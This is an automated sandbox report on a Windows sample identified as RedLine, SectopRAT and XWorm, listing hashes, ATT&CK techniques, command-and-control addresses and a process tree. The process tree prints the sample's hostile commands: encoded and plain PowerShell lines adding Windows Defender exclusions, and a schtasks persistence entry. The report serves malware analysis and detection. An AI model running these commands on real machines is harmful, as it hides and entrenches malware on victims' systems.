redline | 34a265197110995c087e43edde1d1425b1c4c809443491b480cdef4d89a1d302

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-12-2024 12:30

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General

Target

2Bob_Download/Update.exe
Size

210KB
MD5

d412df3af3c10af259fd4cc58e68f00b
SHA1

2de05f08b05fb0abb4b24616db00d0ce1dec420e
SHA256

083f0f217bff41523e9faa49bb13e9e5d691a3c51341b12d0c4829d8cfc33292
SHA512

9bcf5dca3811bed78e59bca04ca934965a93b00c53769de477f33d465279ec10d6355a66e841cecf439d783721784378fd570c0a7ce6af00c3c16aa58a29d808
SSDEEP

3072:01hoF2jJ6wiPa1XzwIxJLp7tUE1NgBS5Bs//dm63NzzEfWw:01hnJ6D1IxPtUyNrsHdmqEf

Score

10^/10

redline sectoprat xworm metin defense_evasion discovery execution infostealer persistence rat trojan

Malware Config

Extracted

Family

redline

Botnet

Metin

duclog23.duckdns.org:37552

Extracted

Family

xworm

duclog23.duckdns.org:7000

Attributes

Install_directory
%AppData%
install_file
Chrome.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b6d-20.dat	family_xworm
behavioral2/memory/3208-23-0x00000000004A0000-0x00000000004B4000-memory.dmp	family_xworm

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023b0a-9.dat	family_redline
behavioral2/memory/4632-26-0x0000000000F80000-0x0000000000F9E000-memory.dmp	family_redline

Redline family
redline
SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000c000000023b0a-9.dat	family_sectoprat
behavioral2/memory/4632-26-0x0000000000F80000-0x0000000000F9E000-memory.dmp	family_sectoprat

Sectoprat family
sectoprat
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
424	powershell.exe
1692	powershell.exe
5084	powershell.exe
4456	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Update.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Metin.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chrome.lnk	Metin.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Chrome.lnk	Metin.exe

Executes dropped EXE 4 IoCs

pid	Process
4632	M2.exe
3208	Metin.exe
4612	Chrome.exe
2732	Chrome.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Chrome = "C:\\Users\\Admin\\AppData\\Roaming\\Chrome.exe"	Metin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Update.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	M2.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1436	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4268	powershell.exe
4268	powershell.exe
5084	powershell.exe
5084	powershell.exe
4456	powershell.exe
4456	powershell.exe
424	powershell.exe
424	powershell.exe
1692	powershell.exe
1692	powershell.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3208	Metin.exe
Token: SeDebugPrivilege	4268	powershell.exe
Token: SeDebugPrivilege	4632	M2.exe
Token: SeDebugPrivilege	5084	powershell.exe
Token: SeDebugPrivilege	4456	powershell.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	3208	Metin.exe
Token: SeDebugPrivilege	4612	Chrome.exe
Token: SeDebugPrivilege	2732	Chrome.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1920 wrote to memory of 4268	1920	Update.exe	82
PID 1920 wrote to memory of 4268	1920	Update.exe	82
PID 1920 wrote to memory of 4268	1920	Update.exe	82
PID 1920 wrote to memory of 4632	1920	Update.exe	84
PID 1920 wrote to memory of 4632	1920	Update.exe	84
PID 1920 wrote to memory of 4632	1920	Update.exe	84
PID 1920 wrote to memory of 3208	1920	Update.exe	86
PID 1920 wrote to memory of 3208	1920	Update.exe	86
PID 3208 wrote to memory of 5084	3208	Metin.exe	88
PID 3208 wrote to memory of 5084	3208	Metin.exe	88
PID 3208 wrote to memory of 4456	3208	Metin.exe	90
PID 3208 wrote to memory of 4456	3208	Metin.exe	90
PID 3208 wrote to memory of 424	3208	Metin.exe	92
PID 3208 wrote to memory of 424	3208	Metin.exe	92
PID 3208 wrote to memory of 1692	3208	Metin.exe	94
PID 3208 wrote to memory of 1692	3208	Metin.exe	94
PID 3208 wrote to memory of 1436	3208	Metin.exe	96
PID 3208 wrote to memory of 1436	3208	Metin.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2Bob_Download\Update.exe
"C:\Users\Admin\AppData\Local\Temp\2Bob_Download\Update.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAYwB3ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AYgBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAYgB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB6ACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4268
- C:\Users\Admin\AppData\Roaming\M2.exe
  "C:\Users\Admin\AppData\Roaming\M2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:4632
- C:\Users\Admin\AppData\Roaming\Metin.exe
  "C:\Users\Admin\AppData\Roaming\Metin.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Metin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Metin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Chrome.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Chrome.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Chrome" /tr "C:\Users\Admin\AppData\Roaming\Chrome.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1436

C:\Users\Admin\AppData\Roaming\Chrome.exe
C:\Users\Admin\AppData\Roaming\Chrome.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4612

C:\Users\Admin\AppData\Roaming\Chrome.exe
C:\Users\Admin\AppData\Roaming\Chrome.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Chrome.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9b80cd7a712469a4c45fec564313d9eb

SHA1
6125c01bc10d204ca36ad1110afe714678655f2d

SHA256
5a9e4969c6cdb5d522c81ce55799effb7255c1b0a9966a936d1dc3ff8fe2112d

SHA512
ac280d2623c470c9dec94726a7af0612938723f3c7d60d727eb3c21f17be2f2049f97bc8303558be8b01f94406781ece0ada9a3bc51e930aff20bebb6ca17584

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
04f1d68afbed6b13399edfae1e9b1472

SHA1
8bfdcb687a995e4a63a8c32df2c66dc89f91a8b0

SHA256
f358f33a42122e97c489fad7bbc8beab2eb42d42e4ec7fce0dd61fe6d8c0b8de

SHA512
30c5e72a8134992094d937d2588f7a503b1d6407d11afe0265b7c8b0ce14071925e5caed13fc4f9c28705df4c7aed3601f81b007048b148af274d7784aa5fb75

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
66443e58ceca538342de8ebc6484ddac

SHA1
d6eab7930d1a307a82f80d3f3ac8a4c54b1a1f35

SHA256
3eaeb86ceade9a1a0e62d63116bb449101dfb0b8f2d698cc696653a7a32d6ead

SHA512
eb78507cfe33432270c0fa3208ba40a451eb1ce4a32c8af23299199fba5d85629e0c0e31ec6c78df77f7a680162f2e9952171e706d4fb8cfbb2a5576661d7585

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
5db96ec41d95028df91da087c615cea1

SHA1
0b976e11abc232d2f3ca8752384c170f3aaf44c6

SHA256
93bdd2154191ff3b1393774bc58521bf2ae86314c664756b93cf89ef9050a171

SHA512
a5f51e13d30ac15f8cc31c6226a8b73a5db24e3ce02c386cb5251ee3a795ed96d5e735ba7d80691f86a6c8a77b9b32151821d23584fbadcc99c8d588ec907e8d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3k4uwdr.m0y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\M2.exe

Filesize
95KB

MD5
2598b5fee38d9c0979f009e77f94ea33

SHA1
9c2c0f0734fbf16853de911868024dfbed91e5ec

SHA256
00a709baca231f15267526d7b5db11cd94b0089ed6cfd1667a1ff2ebd584c266

SHA512
d6fa07fdfa6493c3abe95c650dca114b1737d8812fe86476ef8afbb1d34e50b537821a7958acdc243246484fc4f28dd208db4328663bbc22ec79ae34f3340c8e

Download Submit
C:\Users\Admin\AppData\Roaming\Metin.exe

Filesize
51KB

MD5
1d846637aa409d6dd4fd14f70a63f907

SHA1
a0f494b321ef5bd5b95f60d4ee9e4ae836d73b8a

SHA256
08a5ab51f8eee96d3837aaef4d74bf672d937056118003ecfa0e4df9dae49125

SHA512
259bd4d63bd69cdfd9a29303dc5ef3174136353daad23747c4589ed5b760d9905285211850bf49fde37c0ba355f3e463df6633a518affb270cfeb9f24885508c

Download Submit
memory/3208-129-0x000000001AFC0000-0x000000001AFD0000-memory.dmp

Filesize
64KB

Download
memory/3208-21-0x00007FFA2AAA3000-0x00007FFA2AAA5000-memory.dmp

Filesize
8KB

Download
memory/3208-23-0x00000000004A0000-0x00000000004B4000-memory.dmp

Filesize
80KB

Download
memory/3208-76-0x000000001AFC0000-0x000000001AFD0000-memory.dmp

Filesize
64KB

Download
memory/4268-71-0x00000000077C0000-0x00000000077DA000-memory.dmp

Filesize
104KB

Download
memory/4268-67-0x0000000007720000-0x00000000077B6000-memory.dmp

Filesize
600KB

Download
memory/4268-46-0x0000000005B40000-0x0000000005E94000-memory.dmp

Filesize
3.3MB

Download
memory/4268-22-0x00000000733AE000-0x00000000733AF000-memory.dmp

Filesize
4KB

Download
memory/4268-25-0x0000000004BD0000-0x0000000004C06000-memory.dmp

Filesize
216KB

Download
memory/4268-41-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/4268-27-0x0000000005240000-0x0000000005868000-memory.dmp

Filesize
6.2MB

Download
memory/4268-33-0x0000000005A60000-0x0000000005AC6000-memory.dmp

Filesize
408KB

Download
memory/4268-30-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/4268-50-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/4268-51-0x0000000007120000-0x0000000007152000-memory.dmp

Filesize
200KB

Download
memory/4268-62-0x0000000006750000-0x000000000676E000-memory.dmp

Filesize
120KB

Download
memory/4268-63-0x0000000007360000-0x0000000007403000-memory.dmp

Filesize
652KB

Download
memory/4268-52-0x0000000073E00000-0x0000000073E4C000-memory.dmp

Filesize
304KB

Download
memory/4268-65-0x0000000007490000-0x00000000074AA000-memory.dmp

Filesize
104KB

Download
memory/4268-64-0x0000000007AE0000-0x000000000815A000-memory.dmp

Filesize
6.5MB

Download
memory/4268-66-0x0000000007500000-0x000000000750A000-memory.dmp

Filesize
40KB

Download
memory/4268-34-0x0000000005AD0000-0x0000000005B36000-memory.dmp

Filesize
408KB

Download
memory/4268-68-0x0000000007690000-0x00000000076A1000-memory.dmp

Filesize
68KB

Download
memory/4268-69-0x00000000076D0000-0x00000000076DE000-memory.dmp

Filesize
56KB

Download
memory/4268-32-0x00000000059C0000-0x00000000059E2000-memory.dmp

Filesize
136KB

Download
memory/4268-72-0x0000000007710000-0x0000000007718000-memory.dmp

Filesize
32KB

Download
memory/4268-70-0x00000000076E0000-0x00000000076F4000-memory.dmp

Filesize
80KB

Download
memory/4268-75-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/4632-29-0x0000000005820000-0x0000000005832000-memory.dmp

Filesize
72KB

Download
memory/4632-31-0x0000000005880000-0x00000000058BC000-memory.dmp

Filesize
240KB

Download
memory/4632-49-0x0000000005B10000-0x0000000005C1A000-memory.dmp

Filesize
1.0MB

Download
memory/4632-28-0x0000000005E40000-0x0000000006458000-memory.dmp

Filesize
6.1MB

Download
memory/4632-48-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/4632-26-0x0000000000F80000-0x0000000000F9E000-memory.dmp

Filesize
120KB

Download
memory/4632-128-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/4632-40-0x00000000058C0000-0x000000000590C000-memory.dmp

Filesize
304KB

Download
memory/4632-47-0x00000000733A0000-0x0000000073B50000-memory.dmp

Filesize
7.7MB

Download
memory/5084-87-0x0000023D6C830000-0x0000023D6C852000-memory.dmp

Filesize
136KB

Download